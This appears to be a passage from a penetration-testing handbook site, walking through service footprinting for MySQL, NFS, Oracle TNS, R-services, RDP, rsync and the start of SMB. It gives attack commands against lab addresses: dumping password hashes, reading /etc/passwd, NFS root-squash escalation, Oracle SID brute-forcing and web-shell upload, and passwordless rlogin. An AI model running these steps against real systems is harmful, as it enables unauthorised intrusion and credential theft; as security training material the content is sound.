NSE scripts: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -sC -p3306 --script mysql-* 10.129.14.128 ``` ``` PORT STATE SERVICE VERSION 3306/tcp open mysql MySQL 8.0.27 | mysql-info: | Protocol: 10 | Version: 8.0.27 | Capabilities flags: 65535 |_ Auth Plugin Name: caching_sha2_password | mysql-empty-password: |_ root account has empty password ``` Always confirm scan results manually — they throw false positives. The `mysql-empty-password` result above is a perfect example: it claims `root` has an empty password, but if you know the server uses a fixed password, that's a false positive. Test before you trust it. ### Connecting Log in with credentials you've guessed, found, or recovered elsewhere: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} mysql -u root -p'Password123' -h 10.129.14.128 ``` There must be **no space** between `-p` and the password (`-p'Password123'`, not `-p 'Password123'`). With a space, MySQL treats the next argument as the database name and prompts for the password interactively. ### Enumerating Databases Once in, list the databases. Two always exist and matter for orientation: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SHOW DATABASES; ``` ``` +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | | wordpress | +--------------------+ ``` * **`information_schema`** — metadata about every database, table, and column on the server * **`sys`** — system schema with tables, info, and metadata for management The application's own database (`wordpress` here) is where the interesting data lives — users and password hashes especially. *** ## MySQL Command Reference | Command | Purpose | | ---------------------------------------------------- | ------------------------------------ | | `mysql -u -p -h ` | Connect (no space after `-p`) | | `SHOW DATABASES;` | List all databases | | `USE ;` | Select a database | | `SHOW TABLES;` | List tables in the selected database | | `SHOW COLUMNS FROM ;` | List a table's columns | | `SELECT * FROM
;` | Dump a table | | `SELECT * FROM
WHERE = "";` | Search a table | A typical hunt — find the users table and pull credentials: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} USE wordpress; SHOW TABLES; SELECT user_login, user_pass FROM wp_users; ``` ``` +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | admin | $P$B7e3.x...hashed... | +------------+------------------------------------+ ``` *** ## Quick Reference | Command | Purpose | | ------------------------------------------------ | -------------------------------------------------------- | | `nmap -sV -sC -p3306 --script mysql-* ` | Enumerate MySQL (confirm false positives) | | `mysql -u -p -h ` | Connect | | `SHOW DATABASES;` → `USE ;` → `SHOW TABLES;` | Explore structure | | `SELECT * FROM
;` | Dump data | | `SELECT LOAD_FILE('/etc/passwd');` | Read a file (needs FILE priv + empty `secure_file_priv`) | **The footprinting flow:** nmap for 3306 and version → confirm results manually → log in with found/guessed creds → enumerate databases → dump the application's user table → abuse `FILE` privileges if `secure_file_priv` is open. *** *Next: [MSSQL](/tech/services/mssql) — Microsoft SQL Server, xp\_cmdshell, and command execution.* # Nfs Source: https://hackbook.dudji.com/tech/services/nfs # NFS > NFS is the Unix world's file sharing — and because it pushes authentication onto RPC and trusts the client's UID, a misconfigured export lets you mount a share, impersonate whatever user owns the files, and read or modify them at will. The `no_root_squash` option turns that into a clean privilege escalation. **Protocol:** TCP/UDP · **Ports:** 2049 (NFS) · 111 (RPC portmapper) *** ## What Is NFS? **Network File System (NFS)**, developed by Sun Microsystems, serves the same purpose as SMB — accessing file systems over a network as if they were local — but it's used **between Linux and Unix** systems. A big advantage of **NFSv4** over older versions is that it uses just a single port (TCP or UDP **2049**), which makes it much easier to run across firewalls. Older versions also rely on the **ONC-RPC/SUN-RPC** protocol on **port 111**, using XDR (External Data Representation) for system-independent data exchange. The critical security fact: **NFS has no authentication or authorization mechanism of its own.** Authentication is shifted entirely onto RPC's options — which is exactly the gap you exploit. *** ## Default Configuration NFS is simpler to configure than FTP or SMB. The `/etc/exports` file holds a table of the physical filesystems the server makes available, which hosts/subnets can reach them, and with what rights: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # /etc/exports /mnt/nfs 10.129.14.0/24(rw,sync,no_subtree_check) ``` This entry shares `/mnt/nfs` to the entire `10.129.14.0/24` subnet — meaning **any host on that network can mount the share and inspect its contents**. Each export is the folder, then the host or subnet allowed, then the options in parentheses. *** ## Dangerous Settings Several export options are risky: | Option | Risk | | ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `rw` | Read-write access — clients can modify files | | `insecure` | **Allows ports above 1024.** Normally only root can use ports below 1024, which keeps unprivileged local users from interacting with NFS. `insecure` removes that barrier | | `nohide` | Exposes nested/child filesystems | | `no_root_squash` | **The big one** — a client connecting as root is treated as root on the share, instead of being "squashed" to the unprivileged `nobody` user | `no_root_squash` is the privilege-escalation enabler. With it set, you can write a root-owned SUID binary onto the share from your own machine (where you're root), then execute it on the target to run as root. Without it, `root_squash` maps you down to `nobody` and even root can't touch root-owned files like a `backup.sh`. *** ## Footprinting the Service ### RPC Enumeration with Nmap Ports **111** and **2049** are the ones that matter. The `rpcinfo` NSE script lists all running RPC services, their names, and ports — confirming the share is reachable on the ports it needs: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -sC -p111,2049 10.129.14.128 ``` ``` PORT STATE SERVICE VERSION 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100003 3,4 2049/tcp nfs | 100005 1,2,3 892/tcp mountd 2049/tcp open nfs_acl 3 (RPC #100227) ``` NFS-specific NSE scripts can go further and show the share's contents and stats: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap --script nfs-ls,nfs-showmount,nfs-statfs -p111,2049 10.129.14.128 ``` ### Show Available Shares List the exports with `showmount`: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} showmount -e 10.129.14.128 ``` ``` Export list for 10.129.14.128: /mnt/nfs 10.129.14.0/24 ``` ### Mount the Share Create an empty local folder and mount the share to it, then browse it like any local directory: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} mkdir target-nfs sudo mount -t nfs 10.129.14.128:/mnt/nfs ./target-nfs/ -o nolock cd target-nfs ``` ### List with Owners — and Why It Matters List contents showing usernames/groups, then UIDs/GIDs: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # By username / group name ls -l target-nfs/ # By numeric UID / GID ls -n target-nfs/ ``` ``` -rw-r--r-- 1 cry0l1t3 cry0l1t3 1872 Jun 25 12:00 id_rsa -rwx------ 1 root root 402 Jun 25 12:00 backup.sh ``` Because NFS trusts the client's UID, once you know the **UIDs and GIDs** that own the files, you can create matching users/groups on *your own* machine and adapt to the share — letting you read and modify files as those owners. If `root_squash` is set, you **cannot** edit a root-owned file like `backup.sh` even as root — your root gets squashed to `nobody`. That single option is the difference between "I can read the share" and "I own this box." ### Escalation via SUID NFS also enables local privilege escalation. If you already have SSH access and want to read files only a specific user can access, upload a shell to the NFS share with that user's **SUID** set (from your machine, where you control ownership), then run it through your SSH session — it executes with the SUID user's rights. When you're finished, unmount cleanly: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} sudo umount ./target-nfs/ ``` *** ## Quick Reference | Command | Purpose | | ---------------------------------------------------- | ------------------------------------ | | `nmap -sV -sC -p111,2049 ` | RPC + NFS enumeration | | `nmap --script nfs-ls,nfs-showmount,nfs-statfs ` | Share contents and stats | | `showmount -e ` | List available exports | | `mount -t nfs :/share ./local -o nolock` | Mount the share | | `ls -l` / `ls -n` | List with owner names / numeric UIDs | | `umount ./local` | Unmount when done | **The footprinting flow:** nmap/rpcinfo to confirm RPC and NFS → showmount to list exports → mount the share → list by UID/GID → impersonate owners (or abuse `no_root_squash`/SUID to escalate). *** *Next: [RSYNC](/tech/services/rsync) — enumerating and pulling files from rsync modules.* # Oracle tnd Source: https://hackbook.dudji.com/tech/services/oracle_tnd # Oracle TNS > The Oracle TNS listener is the front door to Oracle databases — and a frequently neglected one. Default passwords that admins forget to change, guessable SIDs, and the `sysdba` escalation path turn a listener on port 1521 into database access, password hashes to crack offline, and sometimes a web shell on the host. **Protocol:** TCP · **Port:** 1521 *** ## What Is Oracle TNS? The **Oracle Transparent Network Substrate (TNS)** is the communication protocol between Oracle databases and client applications. It supports multiple networking stacks (IPX/SPX, TCP/IP) and has built-in encryption — which is why it's the go-to for large, complex databases in healthcare, finance, and retail. The TNS **listener** is the server-side process that receives client connection requests and routes them to the right database instance. *** ## Default Configuration By default the listener accepts connections on **TCP 1521**, and can listen on specific interfaces or all of them. Oracle TNS could be remotely managed in **8i/9i**, but not in **10g/11g**. The two key config files live in `$ORACLE_HOME/network/admin`: * **`tnsnames.ora`** — *client-side*. Resolves service names to network addresses. Each database/service has an entry with a name, network location, and the service name clients use to connect. * **`listener.ora`** — *server-side*. Defines the listener's properties: which services it listens for and how it behaves. A simple `tnsnames.ora` entry: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ORCL = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = 10.129.11.102)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) ) ) ``` Here the `ORCL` service listens on TCP/1521 at `10.129.11.102`, and clients connect using the service name `orcl`. ### Default Passwords Oracle's neglected-defaults problem is the recurring theme: | Service / Version | Default Credential | | ----------------- | --------------------------- | | Oracle 9 | `CHANGE_ON_INSTALL` | | Oracle 10 | *(no default password set)* | | Oracle DBSNMP | password `dbsnmp` | Oracle 9's `CHANGE_ON_INSTALL` and the DBSNMP `dbsnmp` password are left in place constantly — always try them. Many organizations also still run the legacy `finger` service alongside Oracle, which can expose home directories and put the database at further risk. *** ## Footprinting the Service ### Setting Up ODAT The **Oracle Database Attacking Tool (ODAT)** is the standard open-source tool for enumerating and exploiting Oracle databases — SID enumeration, SQL injection, RCE, and privilege escalation. It needs the Oracle Instant Client and a few packages. This Bash script sets it all up: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash sudo apt-get install libaio1 python3-dev alien -y git clone https://github.com/quentinhardy/odat.git cd odat/ git submodule init git submodule update wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH export PATH=$LD_LIBRARY_PATH:$PATH pip3 install cx_Oracle sudo apt-get install python3-scapy -y sudo pip3 install colorlog termcolor passlib python-libnmap sudo apt-get install build-essential libgmp-dev -y pip3 install pycryptodome ``` Confirm it works: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ./odat.py -h ``` ### Nmap Scan the default listener port: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} sudo nmap -p1521 -sV 10.129.11.102 --open ``` ``` PORT STATE SERVICE VERSION 1521/tcp open oracle-tns Oracle TNS Listener 11.2.0.2.0 (unauthorized) ``` ### SID Enumeration A **SID (System Identifier)** uniquely names a database instance — a server can host many, each with its own SID. A client specifies the SID in its connection string to pick the instance; without one, the default from `tnsnames.ora` is used. Since you need a valid SID to connect, **guessing it is the first real hurdle** — use nmap, ODAT, or hydra: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Nmap SID brute-force sudo nmap -p1521 -sV --script oracle-sid-brute 10.129.11.102 # ODAT — all enumeration modules at once ./odat.py all -s 10.129.11.102 ``` ``` [+] SIDs found: XE, ORCL, PLSExtProc ``` *** ## Connecting and Enumerating ### sqlplus Login With a SID and credentials, log in: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} sqlplus scott/tiger@10.129.11.102/XE ``` If you hit `sqlplus: error while loading shared libraries: libsqlplus.so`, register the client library path and refresh the linker cache: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf" sudo ldconfig ``` ### Escalating to sysdba Once in, enumerate the current user's privileges and available tables: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT table_name FROM all_tables; SELECT * FROM user_role_privs; ``` If the account (e.g. `scott`) has the right privileges, you can log back in **as sysdba** — the System Database Admin — for far higher privileges: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} sqlplus scott/tiger@10.129.11.102/XE as sysdba ``` Logging in `as sysdba` is the privilege-escalation step. When a regular account has been granted sysdba (often by a lazy admin, or because it's the admin's own account), you jump from a low-privilege user to full database administrator. ### Extracting Password Hashes As sysdba you can pull password hashes from `sys.user$` and crack them offline: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT name, password, spare4 FROM sys.user$; ``` ``` NAME PASSWORD SPARE4 ---------- ------------------- ---------------------------------------- SYS FED332D... S:8F2D...;H:7A1B... SYSTEM A1B2C3D... S:9E3F...;H:2C4D... ``` ### Web Shell Upload If the server also runs a web server and you know its document root, you can upload a web shell through the database for code execution. Try default web root paths if you can fingerprint the system, and **test with a harmless file first** — upload a text file with a known string before anything that might trip AV/IDS: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Upload a test file via ODAT ./odat.py utlfile -s 10.129.11.102 -d XE -U scott -P tiger \ --sysdba --putFile C:\\inetpub\\wwwroot test.txt ./test.txt # Confirm it landed curl http://10.129.11.102/test.txt ``` File upload requires the target to be running a web server *and* knowing its document root. Always start with an innocuous test file to confirm the technique works before uploading an actual shell. *** ## Quick Reference | Command | Purpose | | ----------------------------------------------- | ----------------------------- | | `nmap -p1521 -sV ` | Detect the TNS listener | | `nmap -p1521 --script oracle-sid-brute ` | Brute-force SIDs | | `./odat.py all -s ` | Full ODAT enumeration | | `sqlplus /@/` | Connect | | `sqlplus /@/ as sysdba` | Connect with admin privileges | | `SELECT name, password, spare4 FROM sys.user$;` | Dump password hashes | | `./odat.py utlfile ... --putFile ` | Upload a file / web shell | **Default creds to try:** Oracle 9 `CHANGE_ON_INSTALL` · DBSNMP `dbsnmp`. **The footprinting flow:** nmap for 1521 → brute-force the SID → try default credentials → log in with sqlplus → escalate `as sysdba` → dump `sys.user$` hashes to crack offline, or upload a web shell if a web server is present. *** *This concludes the Services chapter. When a port turns up on a scan, jump straight to its page for the footprinting flow — each one stands on its own.* # Ports & Reference Source: https://hackbook.dudji.com/tech/services/ports Common service ports and OSI layer attack mapping. ## Port & Services | Port | Service | | ------------------ | ----------- | | 20 | FTP | | 22 | SSH | | 25, 587 | SMTP | | 53 | DNS | | 110, 143, 993, 995 | IMAP / POP3 | | 111, 2049 | NFS | | 135 | WMI | | 161, 162 | SNMP | | 445 | SMB | | 512, 513, 514 | R-Services | | 623 | IPMI | | 873 | Rsync | | 1433 | MSSQL | | 1521 | Oracle TNS | | 3306 | MySQL | | 3389 | RDP | | 5985, 5986 | WinRM | ## OSI Layers & Attacks | OSI Layer | Attack | | ------------ | -------------- | | Application | Exploit | | Presentation | Phishing | | Session | Hijacking | | Transport | Reconnaissance | | Network | MITM | | Data Link | Spoofing | | Physical | Sniffing | # R services Source: https://hackbook.dudji.com/tech/services/r-services # R-Services > R-services are the insecure ancestor of SSH — remote access built on *trust* rather than authentication. A single `+` in a `.rhosts` file tells the host to trust anyone, and you log in as another user with no password at all. Rare today, but when you find them, they're a free foothold. **Protocol:** TCP · **Ports:** 512, 513, 514 *** ## What Are R-Services? **R-services** were the de facto standard for remote access between Unix systems until **SSH** replaced them, precisely because of their built-in security flaws. Like telnet, they transmit everything — passwords, login info — **unencrypted** over the network, making them trivial to intercept with a man-in-the-middle attack. They span **TCP ports 512, 513, and 514** and are accessed through a suite of programs called **r-commands**: | Command | Daemon | Port | Description | | -------- | --------- | ------- | ------------------------------------------------- | | `rcp` | — | 514 | Remote copy — copy files between hosts | | `rexec` | `rexecd` | 512 | Remote execution — run a command on a remote host | | `rlogin` | `rlogind` | 513 | Remote login — like telnet, but trust-based | | `rsh` | `rshd` | 514 | Remote shell — run commands without logging in | | `rwho` | `rwhod` | 513/udp | List who's logged in across the local network | | `rusers` | — | — | Detailed list of logged-in users network-wide | *** ## Default Configuration The trust model lives in two files: * **`/etc/hosts.equiv`** — a system-wide list of trusted hosts. Users from these hosts are granted access **without further authentication**. * **`~/.rhosts`** — a per-user version of the same idea. By default these services use **PAM** (Pluggable Authentication Modules) for authentication, but `hosts.equiv` and `.rhosts` short-circuit that with a list of trusted host/user pairs. Entries follow the syntax ` `: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # ~/.rhosts htb-student 10.0.17.5 admin workstn02 + 10.0.17.10 ``` The `+` modifier is a **wildcard meaning "anything."** In the example above, the `+ 10.0.17.10` line lets *any* external user access r-commands from the `htb-student` account via the host at `10.0.17.10`. A `+` in `hosts.equiv` or `.rhosts` is the misconfiguration that defines R-services exploitation. `+ +` (trust any user from any host) is the worst case — it lets you authenticate as another user with no credentials at all, often leading straight to code execution. *** ## Footprinting the Service ### Scanning for R-Services ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -p512,513,514 10.129.14.128 ``` ``` PORT STATE SERVICE VERSION 512/tcp open exec netkit-rsh rexecd 513/tcp open login OpenBSD or Solaris rlogind 514/tcp open shell Netkit rshd ``` ### Logging in with rlogin When `.rhosts` is misconfigured, `rlogin` gets you onto the host as the trusted user with no password: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} rlogin 10.129.14.128 -l htb-student ``` ``` Last login: Tue Jun 25 12:00 from 10.0.17.5 htb-student@target:~$ id uid=1000(htb-student) gid=1000(htb-student) groups=1000(htb-student) ``` That successful login with no credentials is the `.rhosts` misconfiguration paying off. ### Listing Logged-in Users with rwho Once in, `rwho` lists all interactive sessions on the local network (it queries UDP port 513): ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} rwho ``` ``` htb-student workstn01:pts/0 Jun 25 12:00 root web01:pts/1 Jun 25 11:45 ``` This is a username goldmine — here you can see `htb-student` is on `workstn01` and `root` is logged into `web01`, all useful targets for further attacks. The `rwho` daemon **periodically broadcasts** logged-on-user info across the network, so watching the traffic over time can surface users and hosts you'd otherwise miss. ### More Detail with rusers `rusers` gives a fuller picture than `rwho` — username, hostname, the TTY they're on, login date/time, idle time, and the remote host they connected from: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} rusers -al 10.129.14.128 ``` ``` htb-student workstn01:pts/0 Jun 25 12:00 2:14 (10.0.17.5) root web01:console Jun 25 11:45 0:03 ``` *** ## Quick Reference | Command | Purpose | | ----------------------------- | ------------------------------------------------------- | | `nmap -sV -p512,513,514 ` | Detect r-services | | `rlogin -l ` | Log in as a trusted user (no password if misconfigured) | | `rsh ` | Run a command remotely | | `rwho` | List logged-in users on the network | | `rusers -al ` | Detailed logged-in user info | **The key file:** `hosts.equiv` / `.rhosts`. A `+` wildcard means trust-anyone — log in as another user with no credentials. **The footprinting flow:** nmap for 512–514 → attempt rlogin against likely users → enumerate the network with rwho/rusers for more usernames and hosts to target. *** *Next: [IPMI](/tech/services/ipmi) — baseboard management controllers and the infamous hash-retrieval flaw.* # Rdp Source: https://hackbook.dudji.com/tech/services/rdp # RDP > RDP hands you a full graphical desktop on a Windows host — if you have credentials. There's rarely an exploit needed; the protocol is the front door, and the keys are the credentials you've gathered elsewhere. Scanning it also leaks the hostname, version, and whether NLA stands between you and a login. **Protocol:** TCP (and UDP) · **Port:** 3389 *** ## What Is RDP? The **Remote Desktop Protocol (RDP)** is Microsoft's protocol for remote access to a Windows machine. It transmits display and control commands for the GUI, encrypted, over IP networks — operating at the **application layer** of the TCP/IP model, typically on **TCP port 3389** (UDP 3389 can also be used for remote administration). For a session to establish, both the network firewall and the server's own firewall have to allow the connection from outside. ### Encryption and NLA Since Windows Vista, RDP supports **TLS/SSL**, protecting all data — especially the login — with strong encryption. But many Windows systems don't *insist* on it and still accept weaker "RDP Security" encryption. Even with TLS, there's a catch: the identity certificates are **self-signed by default**, so the client can't tell a genuine certificate from a forged one. That produces a certificate warning the user has to click through — and it opens the door to man-in-the-middle attacks. The Remote Desktop service is installed by default on Windows Server (activated via Server Manager) and, by default, only allows connections from hosts using **Network Level Authentication (NLA)** — which forces authentication *before* a session is created. *** ## Footprinting the Service ### Nmap Scanning RDP quickly yields the hostname, product version, and whether **NLA** is enabled: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -sC -p3389 --script rdp-ntlm-info 10.129.14.128 ``` ``` PORT STATE SERVICE VERSION 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: INLANEFREIGHT | NetBIOS_Computer_Name: DC01 | Product_Version: 10.0.17763 |_ System_Time: 2024-06-25T12:00:00+00:00 | ssl-cert: Subject: commonName=DC01.inlanefreight.htb |_ssl-date: TLS randomness does not represent time ``` Adding `--packet-trace` lets you inspect the packets, but note that Nmap's RDP probe uses an identifiable cookie — `mstshash=nmap`. Threat hunters and EDR can spot that signature and lock you out on a hardened network. Be aware your RDP scans are noisy and fingerprintable. ### rdp-sec-check — Identify Security Settings `rdp-sec-check.pl` (Cisco CX Security Labs) unauthenticatedly identifies an RDP server's security settings from its handshakes — useful for spotting weak encryption and whether NLA is enforced: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Install git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git cd rdp-sec-check # Run ./rdp-sec-check.pl 10.129.14.128 ``` ``` [+] Checking RDP security settings for 10.129.14.128 [-] PROTOCOL_SSL: SUPPORTED [-] PROTOCOL_HYBRID (NLA): SUPPORTED [-] PROTOCOL_RDP (standard RDP security): SUPPORTED [-] Conclusion: server accepts weak RDP Security — MITM possible ``` *** ## Connecting to RDP Once you have valid credentials, connect from Linux with `xfreerdp`, `rdesktop`, or `Remmina`. `xfreerdp` is the standard: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} xfreerdp /u:admin /p:Password123 /v:10.129.14.128 # With a domain, ignore the self-signed cert warning, go full screen xfreerdp /d:INLANEFREIGHT /u:admin /p:Password123 /v:10.129.14.128 /cert:ignore /f ``` After successful authentication a new window opens with the server's desktop. RDP creates an **interactive logon**, which caches the user's credentials in LSASS memory. If you RDP in as a user — or catch an administrator who RDPs in while you're already on the box — those credentials become dumpable. This ties into the logon-type credential theft covered on the Windows side. *** ## Quick Reference | Command | Purpose | | ------------------------------------------------- | ---------------------------------------------- | | `nmap -sV -sC -p3389 --script rdp-ntlm-info ` | Hostname, version, NLA status | | `rdp-sec-check.pl ` | Identify RDP security settings unauthenticated | | `xfreerdp /u:.. /p:.. /v:` | Connect from Linux | | `xfreerdp /d:.. /u:.. /p:.. /v: /cert:ignore` | Connect with domain, ignore cert | **The footprinting flow:** nmap for hostname/version/NLA → rdp-sec-check for encryption weaknesses → connect with found credentials via xfreerdp. Remember scans are fingerprintable (`mstshash=nmap`). *** *Next: [WinRM](/tech/services/winrm) — Windows Remote Management and PowerShell remoting.* # Rsync Source: https://hackbook.dudji.com/tech/services/rsync # RSYNC > Rsync exists to copy files efficiently — and when it's exposed on a network with no authentication, it'll happily list its shared folders and let you pull everything down, SSH keys included. Even when it needs credentials, found passwords are worth trying for reuse. **Protocol:** TCP · **Port:** 873 *** ## What Is Rsync? **Rsync** is a fast, efficient tool for copying files — locally or to/from remote hosts. It's best known for its **delta-transfer algorithm**, which only sends the *differences* between the source files and any older version already on the destination, minimizing data over the network. It identifies what to transfer by looking at files that changed in size or last-modified time. That efficiency makes it a favourite for **backups and mirroring** — which is exactly why the shares it exposes so often contain sensitive data. By default rsync runs on **TCP port 873**, and it can be configured to ride over **SSH** for secure transfers, piggybacking on an existing SSH connection. The two scenarios you'll meet: * **No authentication** — you can list shared folders and retrieve files directly. Common, and the quickest win. * **Authentication required** — you need credentials. If you've recovered passwords elsewhere on the engagement, **always test them here for reuse** — a successful login can pull down files that hand you remote access. *** ## Footprinting the Service ### Scanning for Rsync ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -p873 10.129.14.128 ``` ``` PORT STATE SERVICE VERSION 873/tcp open rsync (protocol version 31) ``` ### Probing for Accessible Shares Connect with the rsync client and list available modules (shares) — no path, just the host: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} rsync -av --list-only rsync://10.129.14.128 ``` ``` dev Dev Folder ``` ### Enumerating an Open Share List the contents of a share you found — here, `dev`: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} rsync -av --list-only rsync://10.129.14.128/dev ``` ``` drwxr-xr-x 4,096 2024/06/25 12:00:00 . -rw-r--r-- 402 2024/06/25 12:00:00 backup.sh -rw-r--r-- 1,872 2024/06/25 12:00:00 users.txt drwx------ 4,096 2024/06/25 12:00:00 .ssh ``` A directory like `.ssh` accessible in a share is a flag — it likely holds SSH keys worth pulling down. ### Syncing Files to Your Machine Pull the whole share down to inspect locally: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} rsync -av rsync://10.129.14.128/dev ./dev-loot ``` ### Rsync Over SSH If rsync is configured to transfer over SSH, add the `-e ssh` flag — or specify a non-standard SSH port: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Rsync over SSH rsync -av -e ssh rsync://user@10.129.14.128/dev ./dev-loot # Non-standard SSH port rsync -av -e "ssh -p2222" user@10.129.14.128:/path ./dev-loot ``` An unauthenticated rsync share with a `.ssh` directory is a fast path to access — pull the private key, and you can SSH straight in as its owner. And whenever rsync needs credentials, try any passwords you've already found: rsync is a classic password-reuse target. *** ## Quick Reference | Command | Purpose | | -------------------------------------------- | --------------------------------- | | `nmap -sV -p873 ` | Detect rsync and protocol version | | `rsync -av --list-only rsync://` | List available shares (modules) | | `rsync -av --list-only rsync:///` | Enumerate a share's contents | | `rsync -av rsync:/// ./loot` | Sync a share to your machine | | `rsync -av -e ssh user@:/path ./loot` | Transfer over SSH | **The footprinting flow:** nmap for port 873 → list modules (no auth first) → enumerate each share → sync interesting files (watch for `.ssh`) → fall back to credentials/SSH mode, testing for password reuse. *** *Next: [R-Services](/tech/services/r-services) — the legacy trust-based remote access suite and `.rhosts` abuse.* # Smb Source: https://hackbook.dudji.com/tech/services/smb # SMB > SMB is the protocol behind Windows file and printer sharing — and Samba is its Linux counterpart. A misconfigured share or an anonymous RPC session can leak shares, users, and domain info before you've authenticated to anything, handing you the names you need to brute-force your way in. **Protocol:** TCP · **Port:** 445 (CIFS) · legacy NetBIOS on 137/138/139 *** ## What Is SMB? **Server Message Block (SMB)** is a client-server protocol that governs access to files, directories, and other network resources like printers and routers. A client uses it to access files or services shared on the network by an SMB server. Before any of that happens, both parties establish a connection — over IP networks SMB rides on **TCP**, using the three-way handshake before the session is set up. An SMB server can expose arbitrary parts of its local file system as **shares**. The hierarchy a client sees is therefore partly independent of the server's real structure, and access is governed by **Access Control Lists (ACLs)**. ### Samba and CIFS **Samba** is the open-source SMB implementation for Linux. It implements **CIFS** (Common Internet File System), which is a specific "dialect" of SMB created by Microsoft — so Samba can talk to modern Windows systems. That's why you'll often see it written as **SMB/CIFS**. The ports tell you which generation you're dealing with: | Ports | Protocol | | --------------------------- | --------------------------------------------- | | **137, 138, 139** (TCP/UDP) | Legacy NetBIOS — older SMB over NetBIOS | | **445** (TCP) | CIFS — modern SMB, the one you'll target most | *** ## Default Configuration Samba is configured through `/etc/samba/smb.conf`. Filtered down, it has **global settings** (the server-wide configuration applied to all shares) and individual **share** definitions. Crucially, a share can **override** the global settings — and that's exactly where misconfigurations creep in. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # /etc/samba/smb.conf [global] workgroup = DEV.INFREIGHT.HTB server string = DEVSM log file = /var/log/samba/log.%m max log size = 1000 server role = standalone server map to guest = bad user usershare allow guests = yes [printers] comment = 